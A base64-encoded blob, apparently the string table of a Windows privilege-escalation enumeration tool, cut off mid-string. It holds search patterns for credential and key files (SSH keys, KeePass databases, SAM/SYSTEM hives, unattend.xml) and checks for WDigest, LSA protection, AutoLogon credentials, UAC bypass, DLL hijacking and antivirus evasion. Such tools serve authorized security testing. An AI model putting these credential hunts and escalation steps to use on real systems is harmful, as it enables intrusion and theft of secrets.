aQBsAGUALgBqAHMAbwBuADsAYQBwAHAAYwBtAGQALgBlAHgAZQA7AHMAYwBjAGwAaQBlAG4AdAAuAGUAeABlADsAKgAuAGcAcABnACQAOwAqAC4AcABnAHAAJAA7ACoAYwBvAG4AZgBpAGcAKgAuAHAAaABwADsAZQBsAGEAcwB0AGkAYwBzAGUAYQByAGMAaAAuAHkAKgBtAGwAOwBrAGkAYgBhAG4AYQAuAHkAKgBtAGwAOwAqAC4AcAAxADIAJAA7ACoALgBjAGUAcgAkADsAawBuAG8AdwBuAF8AaABvAHMAdABzADsAKgBpAGQAXwByAHMAYQAqADsAKgBpAGQAXwBkAHMAYQAqADsAKgAuAG8AdgBwAG4AOwB0AG8AbQBjAGEAdAAtAHUAcwBlAHIAcwAuAHgAbQBsADsAdwBlAGIALgBjAG8AbgBmAGkAZwA7ACoALgBrAGQAYgB4ADsASwBlAGUAUABhAHMAcwAuAGMAbwBuAGYAaQBnADsATgB0AGQAcwAuAGQAaQB0ADsAUwBBAE0AOwBTAFkAUwBUAEUATQA7AEYAcgBlAGUAUwBTAEgARABzAGUAcgB2AGkAYwBlAC4AaQBuAGkAOwBzAHkAcwBwAHIAZQBwAC4AaQBuAGYAOwBzAHkAcwBwAHIAZQBwAC4AeABtAGwAOwAqAHYAbgBjACoALgBpAG4AaQA7ACoAdgBuAGMAKgAuAGMAKgBuAGYAKgA7ACoAdgBuAGMAKgAuAHQAeAB0ADsAKgB2AG4AYwAqAC4AeABtAGwAOwBwAGgAcAAuAGkAbgBpADsAaAB0AHQAcABzAC4AYwBvAG4AZgA7AGgAdAB0AHAAcwAtAHgAYQBtAHAAcAAuAGMAbwBuAGYAOwBtAHkALgBpAG4AaQA7AG0AeQAuAGMAbgBmADsAYQBjAGMAZQBzAHMALgBsAG8AZwA7AGUAcgByAG8AcgAuAGwAbwBnADsAcwBlAHIAdgBlAHIALgB4AG0AbAA7AEMAbwBuAHMAbwBsAGUASABvAHMAdABfAGgAaQBzAHQAbwByAHkALgB0AHgAdAABgUU7AHUAbgBhAHQAdABlAG4AZAAuAHQAeAB0ADsAKgAuAGQAZQByACQAOwAqAC4AYwBzAHIAJAA7AHUAbgBhAHQAdABlAG4AZAAuAHgAbQBsADsAdQBuAGEAdAB0AGUAbgBkAGUAZAAuAHgAbQBsADsAZwByAG8AdQBwAHMALgB4AG0AbAA7AHMAZQByAHYAaQBjAGUAcwAuAHgAbQBsADsAcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAC4AeABtAGwAOwBwAHIAaQBuAHQAZQByAHMALgB4AG0AbAA7AGQAcgBpAHYAZQBzAC4AeABtAGwAOwBkAGEAdABhAHMAbwB1AHIAYwBlAHMALgB4AG0AbAA7AHMAZQB0AHUAcABpAG4AZgBvADsAcwBlAHQAdQBwAGkAbgBmAG8ALgBiAGEAawAAhWNSAEQAQwBNAGEAbgAuAHMAZQB0AHQAaQBuAGcAcwB8AC4AcgBkAGcAfABfAGgAaQBzAHQAbwByAHkAfABoAHQAdABwAGQALgBjAG8AbgBmAHwALgBoAHQAcABhAHMAcwB3AGQAfAAuAGcAaQB0AGMAbwBuAGYAaQBnAHwALgBnAGkAdAAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwB8AEQAbwBjAGsAZQByAGYAaQBsAGUAfABkAG8AYwBrAGUAcgAtAGMAbwBtAHAAbwBzAGUALgB5AG0AbABhAGMAYwBlAHMAcwBfAHQAbwBrAGUAbgBzAC4AZABiAHwAYQBjAGMAZQBzAHMAVABvAGsAZQBuAHMALgBqAHMAbwBuAHwAYQB6AHUAcgBlAFAAcgBvAGYAaQBsAGUALgBqAHMAbwBuAHwAYQBwAHAAYwBtAGQALgBlAHgAZQB8AHMAYwBjAGwAaQBlAG4AdAAuAGUAeABlAHwAdQBuAGEAdAB0AGUAbgBkAC4AdAB4AHQAfABhAGMAYwBlAHMAcwAuAGwAbwBnAHwAZQByAHIAbwByAC4AbABvAGcAfABjAHIAZQBkAGUAbgB0AGkAYQBsAHwAcABhAHMAcwB3AG8AcgBkAHwALgBnAHAAZwB8AC4AcABnAHAAfABjAG8AbgBmAGkAZwAuAHAAaABwAHwAZQBsAGEAcwB0AGkAYwBzAGUAYQByAGMAaAB8AGsAaQBiAGEAbgBhAC4AfAAuAHAAMQAyAHwAXAAuAGQAZQByAHwALgBjAHMAcgB8AC4AYwByAHQAfAAuAGMAZQByAHwALgBwAGUAbQB8AGsAbgBvAHcAbgBfAGgAbwBzAHQAcwB8AGkAZABfAHIAcwBhAHwAaQBkAF8AZABzAGEAfAAuAG8AdgBwAG4AfAB0AG8AbQBjAGEAdAAtAHUAcwBlAHIAcwAuAHgAbQBsAHwAdwBlAGIALgBjAG8AbgBmAGkAZwB8AC4AawBkAGIAeAB8AC4AawBlAHkAfABLAGUAZQBQAGEAcwBzAC4AYwBvAG4AZgBpAGcAfABuAHQAZABzAC4AZABpAHIAfABOAHQAZABzAC4AZABpAHQAfABzAGEAbQB8AHMAeQBzAHQAZQBtAHwAUwBBAE0AfABTAFkAUwBUAEUATQB8AEYAcgBlAGUAUwBTAEgARABzAGUAcgB2AGkAYwBlAC4AaQBuAGkAfABzAHkAcwBwAHIAZQBwAC4AaQBuAGYAfABzAHkAcwBwAHIAZQBwAC4AeABtAGwAfAB1AG4AYQB0AHQAZQBuAGQALgB4AG0AbAB8AHUAbgBhAHQAdABlAG4AZABlAGQALgB4AG0AbAB8AHYAbgBjAHwAZwByAG8AdQBwAHMALgB4AG0AbAB8AHMAZQByAHYAaQBjAGUAcwAuAHgAbQBsAHwAcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAC4AeABtAGwAfABwAHIAaQBuAHQAZQByAHMALgB4AG0AbAB8AGQAcgBpAHYAZQBzAC4AeABtAGwAfABkAGEAdABhAHMAbwB1AHIAYwBlAHMALgB4AG0AbAB8AHAAaABwAC4AaQBuAGkAfABoAHQAdABwAHMALgBjAG8AbgBmAHwAaAB0AHQAcABzAC0AeABhAG0AcABwAC4AYwBvAG4AZgB8AG0AeQAuAGkAbgBpAHwAbQB5AC4AYwBuAGYAfABhAGMAYwBlAHMAcwAuAGwAbwBnAHwAZQByAHIAbwByAC4AbABvAGcAfABzAGUAcgB2AGUAcgAuAHgAbQBsAHwAcwBlAHQAdQBwAGkAbgBmAG8AATFCAGEAcwBpAGMAIABTAHkAcwB0AGUAbQAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAO1QAMQAwADgAMgAmAFQAMQAxADIANAAmAFQAMQAwADEAMgAmAFQAMQA0ADkANwAmAFQAMQAyADEAMgAAgK1oAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAawBlAHIAbgBlAGwALQBlAHgAcABsAG8AaQB0AHMAAYCDQwBoAGUAYwBrACAAaQBmACAAdABoAGUAIABXAGkAbgBkAG8AdwBzACAAdgBlAHIAcwBpAG8AbgBzACAAaQBzACAAdgB1AGwAbgBlAHIAYQBiAGwAZQAgAHQAbwAgAHMAbwBtAGUAIABrAG4AbwB3AG4AIABlAHgAcABsAG8AaQB0AAARSABvAHQAZgBpAHgAZQBzAAAnUABvAHcAZQByAFMAaABlAGwAbAAgAFMAZQB0AHQAaQBuAGcAcwAAHUEAdQBkAGkAdAAgAFMAZQB0AHQAaQBuAGcAcwAAC1QAMQAwADEAMgAANUMAaABlAGMAawAgAHcAaABhAHQAIABpAHMAIABiAGUAaQBuAGcAIABsAG8AZwBnAGUAZAAAGVcARQBGACAAUwBlAHQAdABpAG4AZwBzAACAj1cAaQBuAGQAbwB3AHMAIABFAHYAZQBuAHQAIABGAG8AcgB3AGEAcgBkAGkAbgBnACwAIABpAHMAIABpAG4AdABlAHIAZQBzAHQAaQBuAGcAIAB0AG8AIABrAG4AbwB3ACAAdwBlAHIAZQAgAGEAcgBlACAAcwBlAG4AdAAgAHQAaABlACAAbABvAGcAcwAAG0wAQQBQAFMAIABTAGUAdAB0AGkAbgBnAHMAAICzSQBmACAAaQBuAHMAdABhAGwAbABlAGQALAAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIABwAGEAcwBzAHcAbwByAGQAIABpAHMAIABjAGgAYQBuAGcAZQBkACAAZgByAGUAcQB1AGUAbgB0AGwAeQAgAGEAbgBkACAAaQBzACAAcgBlAHMAdAByAGkAYwB0AGUAZAAgAGIAeQAgAEEAQwBMAAAPVwBkAGkAZwBlAHMAdAAAgLFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBzAHQAZQBhAGwAaQBuAGcALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALwBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALQBwAHIAbwB0AGUAYwB0AGkAbwBuAHMAIwB3AGQAaQBnAGUAcwB0AAFpSQBmACAAZQBuAGEAYgBsAGUAZAAsACAAcABsAGEAaQBuAC0AdABlAHgAdAAgAGMAcgBkAHMAIABjAG8AdQBsAGQAIABiAGUAIABzAHQAbwByAGUAZAAgAGkAbgAgAEwAUwBBAFMAUwABdVMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB2AGkAZABlAHIAcwBcAFcARABpAGcAZQBzAHQAACVVAHMAZQBMAG8AZwBvAG4AQwByAGUAZABlAG4AdABpAGEAbAAAKyAAIAAgACAAVwBkAGkAZwBlAHMAdAAgAGkAcwAgAGEAYwB0AGkAdgBlAAA1IAAgACAAIABXAGQAaQBnAGUAcwB0ACAAaQBzACAAbgBvAHQAIABlAG4AYQBiAGwAZQBkAAAdTABTAEEAIABQAHIAbwB0AGUAYwB0AGkAbwBuAACAv2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHMAdABlAGEAbABpAG4AZwAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAHAAcgBvAHQAZQBjAHQAaQBvAG4AcwAjAGwAcwBhAC0AcAByAG8AdABlAGMAdABpAG8AbgABgQ1JAGYAIABlAG4AYQBiAGwAZQBkACwAIABhACAAZAByAGkAdgBlAHIAIABpAHMAIABuAGUAZQBkAGUAZAAgAHQAbwAgAHIAZQBhAGQAIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAgACgASQBmACAAUwBlAGMAdQByAGUAIABCAG8AbwB0ACAAbwByACAAVQBFAEYASQAsACAAUgB1AG4AQQBzAFAAUABMACAAYwBhAG4AbgBvAHQAIABiAGUAIABkAGkAcwBhAGIAbABlAGQAIABiAHkAIABkAGUAbABlAHQAaQBuAGcAIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgAGsAZQB5ACkAAElTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAEVIAdQBuAEEAcwBQAFAATAAAOSAAIAAgACAATABTAEEAIABQAHIAbwB0AGUAYwB0AGkAbwBuACAAaQBzACAAYQBjAHQAaQB2AGUAAEMgACAAIAAgAEwAUwBBACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGkAcwAgAG4AbwB0ACAAZQBuAGEAYgBsAGUAZAAAI0MAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEcAdQBhAHIAZAAAgMNoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBzAHQAZQBhAGwAaQBuAGcALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALwBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALQBwAHIAbwB0AGUAYwB0AGkAbwBuAHMAIwBjAHIAZQBkAGUAbgB0AGkAYQBsAC0AZwB1AGEAcgBkAAFnSQBmACAAZQBuAGEAYgBsAGUAZAAsACAAYQAgAGQAcgBpAHYAZQByACAAaQBzACAAbgBlAGUAZABlAGQAIAB0AG8AIAByAGUAYQBkACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkAAElTAHkAcwB0AGUAbQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAF0wAcwBhAEMAZgBnAEYAbABhAGcAcwAAgR8gACAAIAAgAFAAbABlAGEAcwBlACwAIABuAG8AdABlACAAdABoAGEAdAAgAHQAaABpAHMAIABvAG4AbAB5ACAAYwBoAGUAYwBrAHMAIAB0AGgAZQAgAEwAcwBhAEMAZgBnAEYAbABhAGcAcwAgAGsAZQB5ACAAdgBhAGwAdQBlAC4AIABUAGgAaQBzACAAaQBzACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHQAbwAgAGUAbgBhAGIAbABlACAAQwByAGUAZABlAG4AdABpAGEAbABzACAARwB1AGEAcgBkACAAKABiAHUAdAAgAGkAdAAnAHMAIABhACAAcwB0AHIAbwBuAGcAIABpAG4AZABpAGMAYQB0AG8AcgApAC4AAVkgACAAIAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwARwB1AGEAcgBkACAAaQBzACAAYQBjAHQAaQB2AGUAIAB3AGkAdABoACAAVQBFAEYASQAgAGwAbwBjAGsAAAMyAABfIAAgACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEcAdQBhAHIAZAAgAGkAcwAgAGEAYwB0AGkAdgBlACAAdwBpAHQAaABvAHUAdAAgAFUARQBGAEkAIABsAG8AYwBrAABFIAAgACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEcAdQBhAHIAZAAgAGkAcwAgAG4AbwB0ACAAZQBuAGEAYgBsAGUAZAAAGUMAYQBjAGgAZQBkACAAQwByAGUAZABzAACAx2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHMAdABlAGEAbABpAG4AZwAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAHAAcgBvAHQAZQBjAHQAaQBvAG4AcwAjAGMAYQBjAGgAZQBkAC0AYwByAGUAZABlAG4AdABpAGEAbABzAAGAoUkAZgAgAD4AIAAwACwAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAB3AGkAbABsACAAYgBlACAAYwBhAGMAaABlAGQAIABpAG4AIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgAGEAbgBkACAAYQBjAGMAZQBzAHMAaQBiAGwAZQAgAGIAeQAgAFMAWQBTAFQARQBNACAAdQBzAGUAcgAAa1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFcAaQBuAGwAbwBnAG8AbgAAI0MAQQBDAEgARQBEAEwATwBHAE8ATgBTAEMATwBVAE4AVAAAMyAAIAAgACAAYwBhAGMAaABlAGQAbABvAGcAbwBuAHMAYwBvAHUAbgB0ACAAaQBzACAAADVVAHMAZQByACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlAHMAAGtDAGgAZQBjAGsAIABmAG8AcgAgAHMAbwBtAGUAIABwAGEAcwBzAHcAbwByAGQAcwAgAG8AcgAgAGsAZQB5AHMAIABpAG4AIAB0AGgAZQAgAGUAbgB2ACAAdgBhAHIAaQBhAGIAbABlAHMAADlTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQBzAAAbUAByAG8AeAB5AFMAZQByAHYAZQByAC4AKgAALUgASwBDAFUAIABJAG4AdABlAHIAbgBlAHQAIABTAGUAdAB0AGkAbgBnAHMAAC1IAEsATABNACAASQBuAHQAZQByAG4AZQB0ACAAUwBlAHQAdABpAG4AZwBzAAAlRAByAGkAdgBlAHMAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAtUADEAMQAyADAAAICDUgBlAG0AZQBtAGIAZQByACAAdABoAGEAdAAgAHkAbwB1ACAAcwBoAG8AdQBsAGQAIABzAGUAYQByAGMAaAAgAG0AbwByAGUAIABpAG4AZgBvACAAaQBuAHMAaQBkAGUAIAB0AGgAZQAgAG8AdABoAGUAcgAgAGQAcgBpAHYAZQBzAAAbUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgAAJyAAIAAgACAAewAwAH0AIAAoAFQAeQBwAGUAOgAgAHsAMQB9ACkAABlWAG8AbAB1AG0AZQAgAGwAYQBiAGUAbAAAHygAVgBvAGwAdQBtAGUAIABsAGEAYgBlAGwAOgAgAAAVRgBpAGwAZQBzAHkAcwB0AGUAbQAAGygARgBpAGwAZQBzAHkAcwB0AGUAbQA6ACAAAB9BAHYAYQBpAGwAYQBiAGwAZQAgAHMAcABhAGMAZQAAJSgAQQB2AGEAaQBsAGEAYgBsAGUAIABzAHAAYQBjAGUAOgAgAAAJIABHAEIAKQAAHSgAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAAAHUEAVgAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAC1QAMQAwADYAMwAAWyAAIAAgACAAUwBvAG0AZQAgAEEAVgAgAHcAYQBzACAAZABlAHQAZQBjAHQAZQBkACwAIABzAGUAYQByAGMAaAAgAGYAbwByACAAYgB5AHAAYQBzAHMAZQBzAAAxIAAgACAAIABOAG8AIABBAFYAIAB3AGEAcwAgAGQAZQB0AGUAYwB0AGUAZAAhACEAABVVAEEAQwAgAFMAdABhAHQAdQBzAACA32gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwBiAGEAcwBpAGMALQB1AGEAYwAtAGIAeQBwAGEAcwBzAC0AZgB1AGwAbAAtAGYAaQBsAGUALQBzAHkAcwB0AGUAbQAtAGEAYwBjAGUAcwBzAAGAhUkAZgAgAHkAbwB1ACAAYQByAGUAIABpAG4AIAB0AGgAZQAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAgAGcAcgBvAHUAcAAgAGMAaABlAGMAawAgAGgAbwB3ACAAdABvACAAYgB5AHAAYQBzAHMAIAB0AGgAZQAgAFUAQQBDAAATRQBuAGEAYgBsAGUATABVAEEAAIDfIAAgACAAIAAgACAAWwAqAF0AIABFAG4AYQBiAGwAZQBMAFUAQQAgACEAPQAgADEALAAgAFUAQQBDACAAcABvAGwAaQBjAGkAZQBzACAAZABpAHMAYQBiAGwAZQBkAC4ADQAKACAAIAAgACAAIAAgAFsAKwBdACAAQQBuAHkAIABsAG8AYwBhAGwAIABhAGMAYwBvAHUAbgB0ACAAYwBhAG4AIABiAGUAIAB1AHMAZQBkACAAZgBvAHIAIABsAGEAdABlAHIAYQBsACAAbQBvAHYAZQBtAGUAbgB0AC4AADtMAG8AYwBhAGwAQQBjAGMAbwB1AG4AdABUAG8AawBlAG4ARgBpAGwAdABlAHIAUABvAGwAaQBjAHkAAIDhIAAgACAAIAAgACAAWwAqAF0AIABMAG8AYwBhAGwAQQBjAGMAbwB1AG4AdABUAG8AawBlAG4ARgBpAGwAdABlAHIAUABvAGwAaQBjAHkAIABzAGUAdAAgAHQAbwAgADEALgANAAoAIAAgACAAIAAgACAAWwArAF0AIABBAG4AeQAgAGwAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAIABjAGEAbgAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGwAYQB0AGUAcgBhAGwAIABtAG8AdgBlAG0AZQBuAHQALgAAMUYAaQBsAHQAZQByAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAVABvAGsAZQBuAACBSyAAIAAgACAAIAAgAFsAKgBdACAATABvAGMAYQBsAEEAYwBjAG8AdQBuAHQAVABvAGsAZQBuAEYAaQBsAHQAZQByAFAAbwBsAGkAYwB5ACAAcwBlAHQAIAB0AG8AIAAwACAAYQBuAGQAIABGAGkAbAB0AGUAcgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFQAbwBrAGUAbgAgACEAPQAgADEALgANAAoAIAAgACAAIAAgACAAWwAtAF0AIABPAG4AbAB5ACAAdABoAGUAIABSAEkARAAtADUAMAAwACAAbABvAGMAYQBsACAAYQBkAG0AaQBuACAAYQBjAGMAbwB1AG4AdAAgAGMAYQBuACAAYgBlACAAdQBzAGUAZAAgAGYAbwByACAAbABhAHQAZQByAGEAbAAgAG0AbwB2AGUAbQBlAG4AdAAuAAGBJSAAIAAgACAAIAAgAFsAKgBdACAATABvAGMAYQBsAEEAYwBjAG8AdQBuAHQAVABvAGsAZQBuAEYAaQBsAHQAZQByAFAAbwBsAGkAYwB5ACAAcwBlAHQAIAB0AG8AIAAwACAAYQBuAGQAIABGAGkAbAB0AGUAcgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFQAbwBrAGUAbgAgAD0APQAgADEALgANAAoAIAAgACAAIAAgACAAWwAtAF0AIABOAG8AIABsAG8AYwBhAGwAIABhAGMAYwBvAHUAbgB0AHMAIABjAGEAbgAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGwAYQB0AGUAcgBhAGwAIABtAG8AdgBlAG0AZQBuAHQALgABJXwARABlAGYAYQB1AGwAdABQAGEAcwBzAHcAbwByAGQALgAqAAARRABpAHMAYQBiAGwAZQBkAAALVQBzAGUAcgBzAAAjVAAxADAAOAA3ACYAVAAxADAANgA5ACYAVAAxADAAMwAzAACAr2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwB1AHMAZQByAHMALQBhAG4AZAAtAGcAcgBvAHUAcABzAAFlQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABoAGEAdgBlACAAcwBvAG0AZQAgAGEAZABtAGkAbgAgAGUAcQB1AGkAdgBhAGwAZQBuAHQAIABwAHIAaQB2AGkAbABlAGcAZQBzAAAhIAAgAEMAdQByAHIAZQBuAHQAIAB1AHMAZQByADoAIAAAJSAAIABDAHUAcgByAGUAbgB0ACAAZwByAG8AdQBwAHMAOgAgAAAxQwB1AHIAcgBlAG4AdAAgAFQAbwBrAGUAbgAgAHAAcgBpAHYAaQBsAGUAZwBlAHMAAAtUADEAMQAzADQAAICzaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHQAbwBrAGUAbgAtAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuAAF5QwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAGUAcwBjAGEAbABhAHQAZQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAdQBzAGkAbgBnACAAcwBvAG0AZQAgAGUAbgBhAGIAbABlAGQAIAB0AG8AawBlAG4AAB1DAGwAaQBwAGIAbwBhAHIAZAAgAHQAZQB4AHQAAC0tAGMAbwBtAG0AYQBuAGQAIABHAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkAAGAuyAAIAAgACAAVABoAGkAcwAgAEMAIwAgAGkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgAgAHQAbwAgAGMAYQBwAHQAdQByAGUAIAB0AGgAZQAgAGMAbABpAHAAYgBvAGEAcgBkACAAaQBzACAAbgBvAHQAIAB0AHIAdQBzAHQAYQBiAGwAZQAgAGkAbgAgAGUAdgBlAHIAeQAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuAACAxyAAIAAgACAASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAcwBlAGUAIAB3AGgAYQB0ACAAaQBzACAAaQBuAHMAaQBkAGUAIAB0AGgAZQAgAGMAbABpAHAAYgBvAGEAcgBkACAAZQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIARwBlAHQAIAAtACAAQwBsAGkAcABiAG8AYQByAGQAIgAnAAEZTABvAGcAZwBlAGQAIAB1AHMAZQByAHMAABdUADEAMAA4ADcAJgBUADEAMAAzADMAABlSAEQAUAAgAFMAZQBzAHMAaQBvAG4AcwAAVSAAIAAgACAAewAwACwALQAxADAAfQB7ADEALAAtADEANQB9AHsAMgAsAC0AMQA1AH0AewAzACwALQAyADUAfQB7ADQALAAtADEAMAB9AHsANQB9AAENUwBlAHMAcwBJAEQAABlwAFMAZQBzAHMAaQBvAG4ATgBhAG0AZQAAE3AAVQBzAGUAcgBOAGEAbQBlAAAXcABEAG8AbQBhAGkAbgBOAGEAbQBlAAARUwBvAHUAcgBjAGUASQBQAAATUwBlAHMAcwBpAG8AbgBJAEQAACNFAHYAZQByACAAbABvAGcAZwBlAGQAIAB1AHMAZQByAHMAAENMAG8AbwBrAGkAbgBnACAAZgBvAHIAIABBAHUAdABvAEwAbwBnAG8AbgAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAVyAAIAAgACAAUwBvAG0AZQAgAEEAdQB0AG8ATABvAGcAbwBuACAAYwByAGUAZABlAG4AdABpAGEAbABzACAAdwBlAHIAZQAgAGYAbwB1AG4AZAAhACEAACMgACAAIAAgAHsAMAAsAC0AMwAwAH0AOgAgACAAewAxAH0AASVIAG8AbQBlACAAZgBvAGwAZABlAHIAcwAgAGYAbwB1AG4AZAAAI1QAMQAwADgANwAmAFQAMQAwADgAMwAmAFQAMQAwADMAMwAAByAAOgAgAAAjUABhAHMAcwB3AG8AcgBkACAAUABvAGwAaQBjAGkAZQBzAAALVAAxADIAMAAxAABBQwBoAGUAYwBrACAAZgBvAHIAIABhACAAcABvAHMAcwBpAGIAbABlACAAYgByAHUAdABlAC0AZgBvAHIAYwBlAAFLSQBuAHQAZQByAGUAcwB0AGkAbgBnACAAUAByAG8AYwBlAHMAcwBlAHMAIAAtAG4AbwBuACAATQBpAGMAcgBvAHMAbwBmAHQALQABI1QAMQAwADEAMAAmAFQAMQAwADUANwAmAFQAMQAwADAANwAAgLFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcgB1AG4AbgBpAG4AZwAtAHAAcgBvAGMAZQBzAHMAZQBzAAGAxUMAaABlAGMAawAgAGkAZgAgAGEAbgB5ACAAaQBuAHQAZQByAGUAcwB0AGkAbgBnACAAcAByAG8AYwBjAGUAcwBzAGUAcwAgAGYAbwByACAAbQBlAG0AbQBvAHIAeQAgAGQAdQBtAHAAIABvAHIAIABpAGYAIAB5AG8AdQAgAGMAbwB1AGwAZAAgAG8AdgBlAHIAdwByAGkAdABlACAAcwBvAG0AZQAgAGIAaQBuAGEAcgB5ACAAcgB1AG4AbgBpAG4AZwAAHVAAZQByAG0AaQBzAHMAaQBvAG4AcwA6AC4AKgAAMVAAbwBzAHMAaQBiAGwAZQAgAEQATABMACAASABpAGoAYQBjAGsAaQBuAGcALgAqAAAFXAAoAAAFXAApAAADXQAABVwAXQAAA1sAAAVcAFsAAAM/AAAFXAA/AAADKwAABVwAKwAADVsAXgAiAF4AJwBdAAEjIAAgACAAIAB7ADAAfQAoAHsAMQB9ACkAWwB7ADIAfQBdAAALOgAgAHsAMwB9AAAbIAAtAC0AIABQAE8AdwBuADoAIAB7ADQAfQABDyAALQAtACAAewA1AH0AASsKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAB7ADYAfQAAWwoAIAAgACAAIABQAG8AcwBzAGkAYgBsAGUAIABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACAAZgBvAGwAZABlAHIAOgAgAHsANwB9ACAAKAB7ADgAfQApAAAjQwBvAG0AbQBhAG4AZAAgAEwAaQBuAGUAOgAgAHsAOQB9AABJSQBuAHQAZQByAGUAcwB0AGkAbgBnACAAUwBlAHIAdgBpAGMAZQBzACAALQBuAG8AbgAgAE0AaQBjAHIAbwBzAG8AZgB0AC0AAQtUADEAMAAwADcAAICfaAB0AHQAcABzADoALwAvAGIAbwBvAGsAL